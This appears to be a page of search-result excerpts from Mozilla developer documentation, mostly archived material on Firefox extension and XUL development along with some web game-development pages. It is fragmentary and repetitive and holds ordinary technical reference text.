...ion Developer https://addons.mozilla.org/firefox/addon/7434 Developing extensions: What you need to know Let's delve into chrome, something you'll need to know about in order to develop extensions. Chrome What is chrome? "Chrome"is the word used to describe all the GUI structural elements that go into an XUL application. For example, in the Firefox browser window, everything other than the
web page being displayed in the content area is chrome. Extensions also can be considered XUL applications with chrome. Three kinds of packages make up chrome The content package This package is used to contain the main XUL and JavaScript source files. Most extensions consist of a single content package2 The locale package This package is used to contain language data that can be translated. To ...
...r --> <em:name>Hello, World!</em:name> <!-- Extension version number. There is a version numbering scheme you must follow --> <em:version>0.1</em:version> <!-- Brief description displayed in Add-on Manager --> <em:description>My first extension.</em:description> <!-- Name of extension's primary developer. ...
... the benefit of making it possible to design GUIs that match specific Firefox themes, and allowing theme developers to create special visual effects for extensions. First, add the skin directory and its subordinate files to your helloworld directory as shown in Figure 10. The purpose of each of these files is explained in Table 4. Download the files icon.png and icon-small.png from the resources
website and place them appropriately. FIXME: Figure 10: Directory structure with skin package added Add the skin package Update chrome.manifest with the contents of Listing 10. Listing 10: Additional content for chrome.manifest skin helloworld classic/1.0 skin/classic/ style chrome://browser/content/browser.xul chrome://helloworld/skin/overlay.css style chrome://global/content/customizeToolbar.x...
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
fox 3 Hacks (O'Reilly Japan, 2008). Before we dive into a thorough explanation, we'll quickly introduce the technologies used to develop Firefox extensions. We will also look at the minimum knowledge you'll need to have in order to develop for Firefox. Technologies used to develop Firefox extensions Firefox and its extensions are both based on and developed with technologies widely used on the
web. Its structure is similar to that of the dynamic HTML used on some
web pages, or the HTML applications used on Windows. If you've had experience developing with dynamic HTML, you'll probably find it relatively easy to pick up the knowledge you'll need to develop Firefox extensions. The role of each technology Firefox is largely built using four technologies: XUL, CSS, JavaScript, and XPCOM. Ext...
...xperience developing with dynamic HTML, as well as the topics below. For more information on these technologies, please refer to other sources. XML coding CSS coding Basic JavaScript syntax XML: A text-based structural language Extensible Markup Language (XML) is a meta-language for expressing various kinds of data. It was specified in 1998 by W3C, the organization that sets standards for
web-related technologies. It has a number of useful qualities: it is generic, extensible, and easy to validate as well-formed. Some examples of XML-based markup languages include XHTML, which is HTML redefined on an XML base; SVG, for expressing vector images; and MathML, for expressing mathematical formulas. XUL, which is used in Firefox, is also based on XML. Listing 1: XML syntax <elementname s...
...The Gecko rendering engine handles nearly all of CSS Level 2 and some of CSS Level 3. Listing 2: CSS code sample body { color: black; background-color: white; } p { margin-bottom: 1em; text-indent: 1em; } JavaScript: The world's most misunderstood language JavaScript is a scripting language first developed in the 1990s, at which time it was created as a way to add dynamic features to
web pages. Because it was often used at first to display pop-up windows, marching text in status bars, or in other ways that made
web pages less useful to users, the language acquired a reputation as having little practical use and lacking in functionality. Also, because a series of security holes were discovered in JavaScript and the compatible technology JScript, there was an initial reluctance to...
...ay pop-up windows, marching text in status bars, or in other ways that made
web pages less useful to users, the language acquired a reputation as having little practical use and lacking in functionality. Also, because a series of security holes were discovered in JavaScript and the compatible technology JScript, there was an initial reluctance to use JavaScript at all. Nevertheless, the rise of
web services like Google Maps, which used JavaScript and asynchronous communications, created an awareness of a set of technologies nicknamed AJAX (Asynchronous JavaScript and XML); that plus the advent of a number of libraries that paper over implementation differences between different
web browsers has more recently led to a re-evaluation of JavaScript as a programming language. JavaScript is a pr...
Setting Up a Development Environment - Archive of obsolete content
<< PreviousNext >> Getting the right tools There are 3 tools that we think are essential for effective add-on development (or any kind of development, really): a source code editor, a source control system, and a build system. In regards to code editing, there's no official Mozilla IDE. On the other hand, extensions use the same (or similar) languages that are used for
web development, so most text editors and IDEs are up to the task. Most XUL tools and plugins you'll find online are merely templates that generate the folder structure for the project, and that's not much help. We recommend Komodo Edit. It's free, open source, and cross-platform. It's based on the Mozilla XULRunner platform, so it has support for some of the particularities in Firefox extension development. Komodo Edi...
...efox session to finish. Save this as an Application, not a Workflow. And you probably want to have these on your Desktop or Dock, for easy access. There are also some configuration changes you should make in your testing profiles, so that you get detailed error information in case something fails. The Firefox Error Console (Tools > Error Console) normally displays JavaScript errors that occur on
web pages, but with some tweaking you can get error information from your extension. Read this piece on Development preferences. Developer extensions There's a wide variety of Firefox extensions that aid
web development and add-on development. A good place to look for them is the Mozilla Add-ons site, and there's also a good development extension list here. You should also take some time to play ar...
...th some tweaking you can get error information from your extension. Read this piece on Development preferences. Developer extensions There's a wide variety of Firefox extensions that aid
web development and add-on development. A good place to look for them is the Mozilla Add-ons site, and there's also a good development extension list here. You should also take some time to play around with the
Web Developer tools that are included in Firefox. Some of them can be very useful for add-on development and overlap with the add-ons listed. In this section we'll cover a few that we have found to be very useful. DOM Inspector The DOM Inspector used to be part of Firefox as an installer option, but since Firefox 3 it has been separated as another add-on you can add and remove. It's a very useful i...
...per Data intercepts HTTP requests and their responses. It allows you to cancel them and even replace payload data before it is sent. There are several similar extensions, such as Live HTTP Headers, but Tamper Data is the one that we use the most. We'll cover more on HTTP debugging later on. Firebug The Firebug extension includes pretty much all tools mentioned so far, but it's mostly focused on
web development. The Chromebug extension helps in making Firebug more useful for extension development, but it may still not be powerful enough to replace all of the previously mentioned add-ons. On the other hand, Firebug has a very friendly, integrated user interface, and sees much more development that its counterparts. It's definitely worth a try. Leak Monitor Memory leaks have always been a b...
Microsummary XML grammar reference - Archive of obsolete content
Warning: Microsummary support was removed in Gecko 6.0 (Firefox 6.0 / Thunderbird 6.0 / SeaMonkey 2.3) This article provides detailed information about the XML grammar used to build microsummary generators, describing each element and their attributes. For an introduction to how to create a microsummary, read the article Creating a Microsummary. ...
...generators, and should contain the remainder of the XML code describing the generator. Attributes: name (required) A descriptive, human-readable name for the microsummary created by the generator. uri (optional) A valid URI uniquely identifying the generator. Only relevant for generators dynamically created by Firefox code and extensions. Generators installed from the
web via nsSidebar::addMicrosummaryGenerator are identified by the remote URL from which they were downloaded, and Firefox ignores the value of this attribute for them. Child Elements: <template> (required) Defines how to transform pages into their microsummaries. <pages> (required) Identifies the set of pages that the generator is able to summarize. <update> (opti...
...lements: <template> (required) Defines how to transform pages into their microsummaries. <pages> (required) Identifies the set of pages that the generator is able to summarize. <update> (optional) Specifies how frequently Firefox should update the microsummaries. The <template> element The <template> element contains the XSLT stylesheet which transforms
web pages into their microsummaries. Attributes: None. Child Elements: <stylesheet> or <transform> (required) The XSLT stylesheet which performs the transformation. Per XSLT, you may specify the stylesheet child element using either the <stylesheet> or the <transform> tag, which are interchangeable. Note: Although the <template> element must be in the microsummaries namespace (http...
... in which child elements appear within the <pages> element is not significant. White space between the child element tags and the regular expressions they contain is also not significant; it is not considered part of the regular expression, and it does not affect evaluation of the expressions. The following example identifies a generator as being able to summarize all pages on the www.example.com
web site except pages named about.html: <pages> <include> ^http://www\.example\.com/ </include> <exclude>/about\.html</exclude> </pages> Note: Regular expressions intended to match the beginnings of page URLs should start with the caret (^) to ensure they do not inadvertently match URLs which merely contain the URLs they intend to match. For example, the regular expression http://www\.e...
HostWindow - Archive of obsolete content
When the sidebar is displayed, the splitter can be used to change the width or quickly collapse it. The splitter itself cannot be hidden as it is the only UI to show a collapsed sidebar. When not displayed the entire sidebar area, including the splitter are hidden. Note: The sidebar is currently not supported. ...
...When the sidebar is displayed, the splitter can be used to change the width or quickly collapse it. The splitter itself cannot be hidden as it is the only UI to show a collapsed sidebar. When not displayed the entire sidebar area, including the splitter are hidden. Note: The sidebar is currently not supported. ...
... in a simple, minimal window. The window does have some UI components (as shown in the screenshot below). Prism can be configured to show or hide several of the UI components. Location Bar - A readonly textbox that contains the currently displayed URL. When not displayed the entire location bar section is hidden. Sidebar - Section of window area used to display ancillary
web content, including
web applications. When the sidebar is displayed, the splitter can be used to change the width or quickly collapse it. The splitter itself cannot be hidden as it is the only UI to show a collapsed sidebar. When not displayed the entire sidebar area, including the splitter are hidden. Note: The sidebar is currently not supported. We are considering whether to support a sidebar in future versions of Pri...
...rrently not supported. We are considering whether to support a sidebar in future versions of Prism and welcome input on this subject. Status - Area of the statusbar that displays the loading status message and a "percent complete" progress bar, as well as the "gear" menu that provides access to Prism commands such as displaying the error console. To display the status bar, the statusbar option in
webapp.ini must be set to true. Command Menu - A popup menu showing several Prism-specific commands. ...
Scripting - Archive of obsolete content
preload Just before the user interface is displayed. Returning false causes the application to terminate. load After the main application windows has finished loading. The window object has been initialized and can be used. ...
...preload Just before the user interface is displayed. Returning false causes the application to terminate. load After the main application windows has finished loading. The window object has been initialized and can be used. error If there is an error loading the main app page (e.g. the server is not accessible). ...
...s an error loading the main app page (e.g. the server is not accessible). shutdown Just before the application terminates. Prism exposes desktop integration features through an property of the window object called platform. The platform property implements the nsIPlatformGlue interface, whose methods are described in the following section. Methods of the window.platform object can be called from
webapp.js or from
web content. The following code can be used by
web content to determine whether it is running in Prism: if ("platform" in window) { // Prism-specific code goes here } See the nsIPlatformGlue IDL definition file for details of the methods available to Prism apps. Currently, the
webapp script also has access to full XPCOM functionality, just like a Firefox extension. This level of f...
...in window) { // Prism-specific code goes here } See the nsIPlatformGlue IDL definition file for details of the methods available to Prism apps. Currently, the
webapp script also has access to full XPCOM functionality, just like a Firefox extension. This level of functionality is commonly called chrome-level privileges. It means that the script has a higher level of privilege than scripts in the
web content and has access to the file system, clipboard and other parts of the native OS. Note: In the future, the
webapp script may have lower privileges. We are looking into the security aspects of the higher privilege level. ...
Frequently Asked Questions - Archive of obsolete content
e 'xmlns:xlink' attribute has been used in the file without including the following two namespace bindings on the root <svg> tag. <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> Make sure all your SVG files have these bindings. For more information see this link. ...
...1999/xlink"> Make sure all your SVG files have these bindings. For more information see this link. Why am I asked to choose a program to open SVG files? ...
...e this link. Why am I asked to choose a program to open SVG files? When you try to load SVG files from some
websites you may get a dialogue asking you "What should Firefox do with this file?". This is either because your browser doesn't support SVG (you must have Mozilla Firefox 1.5 or newer), or because the
webpage/server isn't correctly telling Mozilla that the file contains SVG. For example,
webpages that embed SVG using the <object> or <embed> tags must have a 'type' attribute assigned with the correct SVG MIME type of "image/svg+xml". If the MIME type specified is wrong (for example image/svg-xml) Mozilla won't recognise it. If that isn't the problem, then it may be that the server hosting the
website is misconfigured. For information on configuring servers for SVG see this link. Why ...
...ng a (very small!) SVG file that demonstrates the bug. If you have any problems with the bug database feel free to contact contact us. Can I use a plugin for SVG instead of Mozilla's native support? Individuals can choose to use a plugin to view SVG in Mozilla on their own computers, but there is no way for SVG content authors to make Mozilla use a plugin when people view the SVG files on their
website. The native SVG support must be turned off before Mozilla will look to see if there's an SVG plugin installed. This is done by toggling a hidden user configuration preference (pref). To access the pref type about:config into the URL bar, then type svg.enabled into the Filter field. When you double click on the pref you will see its value change to and from true/false, turning the native suppo...
XTech 2006 Presentations - Archive of obsolete content
JavaScript 2 and the Future of the
Web - Brendan Eich JavaScript 2 will be finalised in 2007. To help migration an open source JS2-to-JS compiler is being developed, making JS2 a reality in 2006. Work on this compiler and the new features of JS2 is presented by the inventor of JavaScript. Layout Algorithm Improvements for
Web User Interfaces (slides, slides as one page) - David Baron A discussion of problems with existing standards and potential improvements in two areas: layout systems for user interfaces (rather than documents) and mechanisms for reordering content to allow the author to use good markup and appropriate layout. ...
...cript. Layout Algorithm Improvements for
Web User Interfaces (slides, slides as one page) - David Baron A discussion of problems with existing standards and potential improvements in two areas: layout systems for user interfaces (rather than documents) and mechanisms for reordering content to allow the author to use good markup and appropriate layout. Microsummaries in Firefox and on the
Web - Myk Melez Microsummaries are regularly-updated compilations of the most important and timely information on
web pages. This talk demonstrates how Firefox will incorporate microsummaries into its UI, starting with bookmark labels. ...
...ms for reordering content to allow the author to use good markup and appropriate layout. Microsummaries in Firefox and on the
Web - Myk Melez Microsummaries are regularly-updated compilations of the most important and timely information on
web pages. This talk demonstrates how Firefox will incorporate microsummaries into its UI, starting with bookmark labels. SVG and Canvas: Graphics for
Web Apps - Vladimir Vukicevic This presentation examines some of the strengths and weaknesses of the HTML 'canvas' and SVG for adding rich graphical capabilities to
web applications. Future browser graphics capabilities, both 2D and 3D, are also discussed. ...
...x will incorporate microsummaries into its UI, starting with bookmark labels. SVG and Canvas: Graphics for
Web Apps - Vladimir Vukicevic This presentation examines some of the strengths and weaknesses of the HTML 'canvas' and SVG for adding rich graphical capabilities to
web applications. Future browser graphics capabilities, both 2D and 3D, are also discussed. Converging Rich-Client and
Web Application Development with Mozilla XULRunner (Open Office format) - Benjamin Smedberg This presentation demonstrates the convergence of rich-client and
web application development and discuss application deployment using Mozilla XULRunner. Etna, a WYSIWYG XML RELAX NG- and Gecko-based editor - Daniel Glazman This presentation describes Etna, a new Wysiwyg XML editor based on Gecko, the RE...
Content Panels - Archive of obsolete content
tage that it can be placed anywhere and the contents can be loaded from a different file. Set the URL to appear in the frame with the src attribute. This URL may point to any kind of file, although it will usually point to an HTML file or another XUL file. You can use a script to change the contents of the iframe without affecting the main window. In the Mozilla browser window, the area where the
web page is displayed is created by using an iframe. When the user enters a URL or clicks on a link in a document, the source of the frame is changed. iframe example Example 1 : Source View <toolbox> <toolbar id="nav-toolbar"> <toolbarbutton label="Back" /> <toolbarbutton label="Forward" /> <textbox id="urlfield" /> </toolbar> </toolbox> <iframe id="content-body" src="http://www...
...in a document, the source of the frame is changed. iframe example Example 1 : Source View <toolbox> <toolbar id="nav-toolbar"> <toolbarbutton label="Back" /> <toolbarbutton label="Forward" /> <textbox id="urlfield" /> </toolbar> </toolbox> <iframe id="content-body" src="http://www.mozilla.org/index.html" flex="1" /> The example here has created a very simple interface for a
web browser. A box has been created containing two elements: a toolbox and an iframe. A Back button, a Forward button and a field for typing is URLs has been added to the only toolbar (We'll learn about toolbar in a later section). The
web pages would appear inside the iframe. In this case, the file index.html would appear by default. This example isn't functionally complete. Next, we would want to a...
... In this case, the content loaded inside the browser is treated as if it was part of the same application and has access to the outer window. That means that when a script loaded inside the browser tries to get the topmost window, it will get the outer XUL window. This would be suitable for a child XUL panel that is part of your application, but this isn't what you want for a browser that loads a
web page. Instead, you would want to restrict the
web page to only getting access to the
web page content. You might note that a Mozilla browser window has XUL content for the toolbars and statusbar and so forth with a tabbrowser forming the main area. This inner area displays a
web page, but the
web page cannot access the XUL around it. This is because it uses the second type of browser, specified b...
...The tabbrowser sets the content type automatically on all tabbed browsers that it creates. So you don't have to set this explicitly for tabbed browsers. The third type is used when your window contains multiple browser elements, for example if you have a sidebar displaying some extra content. ...
XUL accessibility guidelines - Archive of obsolete content
ty tool which can help test some of these guidelines, but please be aware that no tool can replace human judgement for accessibility, and understanding the guidelines is vital. Learn More Accessibility Platform Features Mozilla Community Software Accessibility - Where Are We Today? Intro to accessibility, assistive technologies, and Mozilla resources. Introduction to
Web Accessibility. Overview of
web accessibility from
WebAIM. Dive Into Accessibility. Downloadable book on
web accessibility with tips and character sketches. Assistive technology compatibility. List of popular assistive technologies and their respective compatibility levels with XUL. #accessibility. Accessibility channel for general discussion around Internet accessibility with logger...
... if necessary. function moveFocus(element) { if(element == document.commandDispatcher.focusedElement) { document.commandDispatcher.advanceFocus(); return true; } return false; } Changing focus unexpectedly can confuse or disorient users. A common example of this occurrence in the US is with phone number form fields. US phone numbers are often displayed on the
web in two main formats XXX-XXX-XXXX or (XXX) XXX-XXXX. To enforce this pattern some forms provide three form fields. The problem occurs when a developer decides to add functionality that jumps the user to the second form field once 3 digits have been entered into the first form field. This behavior is then repeated for the next form field. Users who are used to navigating form fields themselves ofte...
...to objects and text. However, color alone is inadequate for conveying meaning or information to the user. Some users may override the default color scheme of your application. Color should only be used to enhance the meaning of an object or text after that meaning is also communicated another way. Flexible sizing One of the great things about XUL is that visual layout is easy to control. On the
web, visual design is often contained to a specific size. With XUL you can allow elements to flex with the resizing of the application window. Use the flex attribute to provide this functionality. Testing display Verify that your application is functional and pleasant looking using user-defined font and color settings. Do this by changing system display settings to an accessible theme (such as the ...
...nerate, but is the only way to make audio content accessible. Video A video file can be made accessible by adding synchronized captions. Most media delivery formats provide a means for displaying captions. Video should also have descriptive transcripts. Usually captioning and transcribing go hand in hand, once you have one its easy to produce the other. Learn More Captioning
WebAIM article:
Web Captioning Overview
WebAIM resource: Captioning Resources Animation Animation, movement, and audio can all be distracting to some users with attention disorders. Provide a mechanism for turning media and movement on and off. Flickering or flashing is not only just annoying to everyone, but at a rate more than 3 cycles per second it can cause a seizure in users wi...
editor - Archive of obsolete content
type attribute on the editor. Call the makeEditable method to make the document loaded in the editor editable. Enable the design mode of the document loaded in the editor. To edit a new document, set the src attribute to about:blank. To access most of the functionality of the editor, your application must be part of an extension or part of the chrome. ...
...n or part of the chrome. XUL applications loaded via a URL from a
web server will not be able to access most of the features of the editor. See the Rich text editing and Midas pages for more information about Gecko's built-in rich text editor. ...
... chrome. XUL applications loaded via a URL from a
web server will not be able to access most of the features of the editor. See the Rich text editing and Midas pages for more information about Gecko's built-in rich text editor. ...
...e editor which is used to initialize the editor. You would not normally need to use this. editortype Type: one of the values below The type of editor to use. This value will be overridden depending on the content type of the document in the editor. html An HTML editor. text A plaintext editor.
webBrowserFind Type: nsI
WebBrowserFind This read-only property contains an nsI
WebBrowserFind object which can be used to search for text in the document.
webNavigation Type: nsI
WebNavigation This read-only property contains the nsI
WebNavigation object for the document. Most of its methods are callable directly on the element itself, such as goBack and goForward. I...
Building a Theme - Archive of obsolete content
wn - if you try to start up with an empty theme, Firefox will be unusable, as the button elements will be drawn as plain text. This is why we copied the default styles in the setup step. When writing a theme, the easiest way to determine what CSS selectors you need to write is to use the DOM Inspector which you should have installed in the setup step. You can use this to inspect any element in a
web page or an XUL document, which makes it invaluable for themes. Updating the toolbar's Styling Note In Firefox 4.0 and up, the highlight feature of DOM Inspector is broken. To workaround this, disable Hardware Acceleration in Firefox' Options. Open up the DOM Inspector now (located under the "Tools" menu), and go to "File->Inspect Chrome Document". This will be a menu containing all the XUL d...
...ating the toolbar's Styling Note In Firefox 4.0 and up, the highlight feature of DOM Inspector is broken. To workaround this, disable Hardware Acceleration in Firefox' Options. Open up the DOM Inspector now (located under the "Tools" menu), and go to "File->Inspect Chrome Document". This will be a menu containing all the XUL documents currently open in Firefox. Pick the first document with a
web page title, like "Firefox Start Page" and select it. For this tutorial, we're going to update the background color of the toolbars. Select the node finding tool (the arrow-plus-box in the top-left corner of the DOM Inspector), and click on any unused space on a toolbar. This should select a node of type "xul:toolbar" in the DOM Inspector. From here, you can play around with various different st...
...owser window is: chrome://browser/content/browser.xul. Try typing this URL into the location bar in Firefox! Chrome URIs consist of several components: Firstly, the URI scheme (chrome) which tells Firefox's networking library that this is a Chrome URI. It indicates that the content of the URI should be handled as a (chrome). Compare (chrome) to (http) which tells Firefox to treat the URI as a
web page. Secondly, a package name (in the example above, browser) which identifies the bundle of user interface components. Thirdly, the type of data being requested. There are three types: content (XUL, JavaScript, XBL bindings, etc. that form the structure and behavior of an application UI), locale (DTD, .properties files etc that contain strings for the UI's localization), and skin (CSS and ima...
...move the .xpi file before running the zip command again. Now upload the .xpi file to your server, making sure it's served as application/x-xpinstall. You can link to it and allow people to download and install it. For the purposes of just testing our .xpi file we can just drag it into the Add-ons Manager via "Tools -> Add-ons Manager", or open it using "File -> Open File...". Installing from a
web page There are a variety of ways you can install extensions from
web pages, including direct linking to the XPI files and using the InstallTrigger object. Extension and
web authors are encouraged to use the InstallTrigger method to install XPIs, as it provides the best experience to users. Using addons.mozilla.org Mozilla Add-ons is a distribution site where you can host your theme for free...
Scratchpad - Archive of obsolete content
Scratchpad is deprecated as of Firefox 70 (bug 1565380), and will be removed as of Firefox 72 (bug 1519103). As an alternative, starting in Firefox 71, you can use the multi-line mode of the JavaScript console input. Scratchpad provides an environment for experimenting with JavaScript code. You can write, run, and examine the results of code that interacts with the
web page. Unlike the
Web Console, which is designed for interpreting a single line of code at a time, Scratchpad lets you edit larger chunks of JavaScript code, then execute it in various ways depending on how you want to use the output. The featured video tutorial shows a case of using Scratchpad with a page run by a local
web server. It is also possible to use Scratchpad over pages opened from a local file system, if per...
...llow that. But even with possible limitations present, the HTML code can be either manually entered or copied from the source and pasted into the "about:blank" page (a new empty tab) with the use Page Inspector's Edit as HTML context menu command. Usage Opening Scratchpad in its own window There are several different ways to open Scratchpad in its own window: press Shift + F4, or go to the
Web Developer menu (which is a submenu in the Tools menu on macOS and Linux), then select Scratchpad click the wrench icon (), which is in the main toolbar or under the Hamburger menu (), then select "Scratchpad". This will open up Scratchpad in its own window. Opening Scratchpad in the Toolbox New in Firefox 47. From Firefox 47, you can open Scratchpad inside the Toolbox. First you need to che...
...select "Scratchpad". This will open up Scratchpad in its own window. Opening Scratchpad in the Toolbox New in Firefox 47. From Firefox 47, you can open Scratchpad inside the Toolbox. First you need to check "Scratchpad" in the "Default Firefox Developer Tools" section of the Settings page. Now Scratchpad will be available in the Toolbox, alongside other tools like the Page Inspector and the
Web Console. This is especially useful in split Console mode: you can use Scratchpad for a persistent, multiline editor, and the Console to interact with the page. Editing The Scratchpad window looks something like this (on macOS the menu bar is at the top of the screen): The File menu offers options to save and load JavaScript code snippets, so you can reuse code later if you like. Code comple...
...comment, so you can use it as a REPL. Reload And Run The Reload And Run option is only available in the Execute menu. It first reloads the page, then executes the code when the page's "load" event fires. This is useful for running the code in a pristine environment. Running Scratchpad in the browser context You can run Scratchpad in the context of the browser as a whole rather than a specific
web page. This is useful if you are working on Firefox itself or developing add-ons. To do this check "Enable chrome and add-on debugging" in the Developer Tool Settings. Once you've done this, the Environment menu has a Browser option; once that's selected, your scope is the entire browser rather than just the page content, as you will see from examining some globals: window /* [object ChromeWindow...
Styling Abbreviations and Acronyms - Archive of obsolete content
Summary: The HTML elements abbr and acronym are useful accessibility aids, but their styling can come as a surprise to authors. See how you can take control of their presentation without sacrificing the benefits these elements provide. Many authors are beginning to use the HTML elements abbr (abbreviation) and acronym in their
Web pages. ...
...mmary: The HTML elements abbr and acronym are useful accessibility aids, but their styling can come as a surprise to authors. See how you can take control of their presentation without sacrificing the benefits these elements provide. Many authors are beginning to use the HTML elements abbr (abbreviation) and acronym in their
Web pages. ...
...authors. See how you can take control of their presentation without sacrificing the benefits these elements provide. Many authors are beginning to use the HTML elements abbr (abbreviation) and acronym in their
Web pages. ...
...tells readers that the word in question has extra information associated with it. In Mozilla, placing the mouse pointer over the element and leaving it for a moment will cause the contents of the title attribute to appear as a tooltip next to the mouse pointer. Removing the underline from these elements will rob readers of an indication that there is extra information available. Related Links
Web Content Accessibility Guidelines 1.0 Original Document Information Author(s): Eric A. Meyer, Netscape Communications Last Updated Date: Published 09 Aug 2002 Copyright Information: Copyright (C) 2001-2003 Netscape. All rights reserved. Note: This reprinted article was originally part of the DevEdge site. ...
Examples - Game development
A testament to what can be done with JavaScript,
WebGL, and related technologies. The first two sections list playable games, while the second is a catch-all area to list demos that aren't necessarily interactive/games. Free/demo games Beloola
WebVR platform to connect passionate people. Experience both available on 2D screens and on VR HMDs (Settings / Switch to VR mode). Tanx A multiplayer tank battle game, created with PlayCanvas. Hyper Vanguard Force A neat vertically scrolling space shooter. Swooop A plane flying game: control your plane and collect the jewels. Again, created with PlayCanvas. ...
...ing platform shooter. X-Type Vertically scrolling space shooter demo. Xibalba Retro (Doom-style) first person shooter. Gorescript Another retro style first person shooter. The Wizard A turn-based, dungeon puzzle game. Hextris Tetris-like hexagonal puzzle game. 2048 A sliding number tiles puzzle game. BananaBread A multiplayer, 3D first-person shooter game developed using Emscripten,
WebGL, and
WebRTC. Monster Madness A
WebGL and asm.js-based multiplayer online shooter, developed by Nom Nom Games and Trendy entertainment. Auralux
WebGL and asm.js-based strategy game: capture all the suns to win! BrowserQuest A MMORPG created by the Little Workshop and Mozilla. Shoot The Rocks A canvas 2D single-player shooter in the style of Atari's classic Asteroids arcade game from 1979...
...p down Zelda-esque exploration/RPG. QbQbQb A sci-fi themed arcade puzzle game. Bullet Force 3D multiplayer first-person shooter. Elliot Quest 8-bit graphic retro adventure game. RPG MO Isometric MMORPG with similarities to RuneScape Classic and Ultima. Katan.io HTML5 and canvas implementation of Settlers of Catan. Pyramid Solitaire Ancient Egypt Pyramid solitaire app ported to
WebAssembly with Emscripten Assorted demos WaveGL
WebGL visualizer for sound sources. Canvas Airport Simulation Animated map showing planes taking off and landing at airports, along with flight path patterns. Animation Physics 3D rendering of terrain and cars, using ammo.js for the physics calculations. Volumetric Particle Flow Physics simulation of flowing liquid. Explosion and chain ...
...eople all trying to reach their opposite positions. SVG Masking Experiment An Xray machine, creating using an SVG mask. Realistic Water Simulation Flowing water, like the waves on the ocean. Dungeon demo Haxor-based dungeon scene with walkable character. Massive Assault tech demo Rendered archipelago with futuristic military vehicles. Flight Stream 3D globe with simulated flight paths.
WebGL filters Demo showing
WebGL filters being used to add effects to HTML elements. SVG isometic tiles Generating isometric tiles with SVG matricies. ThreeJS App Player A player into which you can load and run Three.js examples. ...
Building up a basic demo with A-Frame - Game development
Mozilla's A-Frame framework provides a markup language allowing us to build 3D VR landscapes using a system familiar to
web developers, which follows game development coding principles; this is useful for quickly and successfully building prototypes and demos, without having to write a lot of JavaScript or GLSL. This article explains how to get up and running with A-Frame, and how to use it to build up a simple demo. High level overview The current version of A-Frame is 0.3.2, which means it's highly experimental, but it already works and you can test it right away in the browser. ...
...t or GLSL. This article explains how to get up and running with A-Frame, and how to use it to build up a simple demo. High level overview The current version of A-Frame is 0.3.2, which means it's highly experimental, but it already works and you can test it right away in the browser. It runs on desktop, mobile (iOS and Android), and Oculus Rift, Gear VR and HTC Vive. A-Frame is built on top of
WebGL, and provides pre built components to use in applications -- models, video players, skyboxes, geometries, controls, animations, cursors, etc. It is based on the entity component system, which is known in the game development world, but it targets
web developers with a familiar markup structure, manipulable with JavaScript. The end result is 3D
web experiences, which are VR-enabled by default. ...
...e development world, but it targets
web developers with a familiar markup structure, manipulable with JavaScript. The end result is 3D
web experiences, which are VR-enabled by default. Environment setup Let's start by setting up an environment to create something with A-Frame. We'll then build up a demo and run it. You should start off by: Making sure you are using a modern browser with good
WebGL support (and
WebXR support if you have available VR or AR hardware) such as the latest Firefox or Chrome -- download Firefox Nightly or Chrome (v54 or higher). (Optional) set up a VR device such as Oculus Rift or Google Cardboard. Create a new directory to store your project in. Save a copy of the latest A-Frame JavaScript library file inside your directory (check the GitHub repository for l...
...axis and see how it affects the movement. Conclusion Everything is rendered properly and animating -- congratulations on building your first A-Frame scene! Here's how the final version looks and works: If you have a VR device available, now is a good time to try out your scene with it too. Note: You can also check it out on GitHub. That was easier than you thought, right? A-Frame targets
web developers by offering easy to use
web markup and all the advantages that brings, such as JavaScript manipulation. It is easy to start with, but also provides a powerful API for advanced concepts, as well as dealing with cross browser differences and suchlike. The community is growing, just like the number of supported VR devices -- it's a great time to start experimenting with such frameworks. ...
Techniques for game development - Game development
Using async scripts for asm.js Especially when creating medium to large-sized games, async scripts are an essential technique to take advantage of, so that your game's JavaScript can be compiled off the main thread and be cached for future game running, resulting in a significant performance improvement for your users. This article explains how. Optimizing startup performance How to make sure your game starts up quickly, smoothly, and without appearing to lock up the user's browser or device. ...
...ssential technique to take advantage of, so that your game's JavaScript can be compiled off the main thread and be cached for future game running, resulting in a significant performance improvement for your users. This article explains how. Optimizing startup performance How to make sure your game starts up quickly, smoothly, and without appearing to lock up the user's browser or device. Using
WebRTC peer-to-peer data channels In addition to providing support for audio and video communication,
WebRTC lets you set up peer-to-peer data channels to exchange text or binary data actively between your players. This article explains what this can do for you, and shows how to use libraries that make this easy. Efficient animation for
web games This article covers techniques and advice for creat...
...ls In addition to providing support for audio and video communication,
WebRTC lets you set up peer-to-peer data channels to exchange text or binary data actively between your players. This article explains what this can do for you, and shows how to use libraries that make this easy. Efficient animation for
web games This article covers techniques and advice for creating efficient animation for
web games, with a slant towards supporting lower end devices such as mobile phones. We touch on CSS transitions and CSS animations, and JavaScript loops involving window.requestAnimationFrame. Audio for
Web Games Audio is an important part of any game -- it adds feedback and atmosphere.
Web-based audio is maturing fast, but there are still many browser differences to negotiate. This article provide...
... end devices such as mobile phones. We touch on CSS transitions and CSS animations, and JavaScript loops involving window.requestAnimationFrame. Audio for
Web Games Audio is an important part of any game -- it adds feedback and atmosphere.
Web-based audio is maturing fast, but there are still many browser differences to negotiate. This article provides a detailed guide to implementing audio for
web games, looking at what works currently across as wide a range of platforms as possible. 2D collision detection A concise introduction to collision detection in 2D games. Tilemaps Tiles are a very popular technique in 2D games for building the game world. These articles provide an introduction to tilemaps and how to implement them with the Canvas API. ...
Tools for game development - Game development
reatly optimized and run in an ahead-of-time (AOT) compiling engine for much faster performance than your typical JavaScript performance. This is, of course, great for games. Emscripten An LLVM to JavaScript compiler; with Emscripten, you can compile C++ and other languages that can compile to LLVM bytecode into high-performance JavaScript. ...
...This article shows how to make use of Shumway, and how to contribute fixes and bugs to the project. ...
...al available on the wiki. Note that we are aiming to cover Emscripten in its own section of MDN. Gecko profiler The Gecko profiler extension lets you profile your code to help figure out where your performance issues are so that you can make your game run at top speed. ...
...e your performance issues are so that you can make your game run at top speed. Shumway Shumway is a renderer for Adobe Flash built entirely in JavaScript,
WebGL, etc., bridging the gap between Flash and
web standards. This article shows how to make use of Shumway, and how to contribute fixes and bugs to the project. ...
Accessibility/LiveRegionDevGuide
rity queue methods, additional methods will need to be implemented that purge the queue based on one of the priority criterion. The "purge by timestamp" method will be used to remove old messages that are no longer deemed relevant while "purge by politeness" is used to satisfy the ARIA live politeness specification. The later method will be explained in detail below. Event Types The table for
web page mutation event types lists the two major event types associated with live regions, namely text-changed and object changed events. Both will be discussed in detail below. Object Changed The object changed events are slightly different in AT-SPI and IAccessible2. In AT-SPI, the object changed event are called object:children-changed events because the event is triggered on the parent of the...
